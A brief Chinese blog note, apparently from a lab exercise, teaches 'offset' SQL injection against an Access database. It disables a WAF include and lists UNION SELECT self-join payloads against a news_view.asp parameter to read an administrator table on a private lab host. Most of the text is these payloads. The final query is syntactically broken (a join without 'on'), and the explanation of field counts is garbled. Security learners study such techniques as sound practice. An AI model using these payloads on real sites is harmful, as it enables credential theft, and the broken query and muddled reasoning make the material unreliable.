偏移注入是因为知道猜到access数据库表名,猜不到列名
因为之前http://192.168.246.11:83/news_view.asp?id=15网站有设置waf过滤,需要先把waf防御先删掉后使用
<!--#include file="waf.asp"-->
之前已经知道注入点,详见access数据库注入_arissa666的博客-CSDN博客
猜不出来字段名,就把参数从后往前挨个用*代替,能替代几个就说明猜的那个表有几个字段 ,admin表的字段详见本页第一个图片,id,user_name,password这三个字段
构造注入语句
http://192.168.246.11:83/news_view.asp?id=15 UNION SELECT 1, a.id,b.id, * from (administrator as a inner join administrator as b on a.id=b.id)
注意:a.id ,b.id 每个占三个字段,就是上面3*2,news里面有7个所以只剩一个1,
如果猜到的表示2个字段a.id ,b.id 就是2*2只能用4个字段,那select原来的7个字符还剩下下3个没办法替代,要写成如下语句:
http://192.168.246.11:83/news_view.asp?id=15 UNION SELECT 1,2,3,a.id,b.id,* from (administrator as a inner join administrator as b on a.id=b.id)
如果news不是7个字段是10个字段那就写成
UNION SELECT 1,a.id,b.id,c.id,* from ((administrator as a inner join administrator as b on a.id=b.id) inner join administrator as c a.id=c.id)
a.id,b.id,c.id代表了3*3=9个字段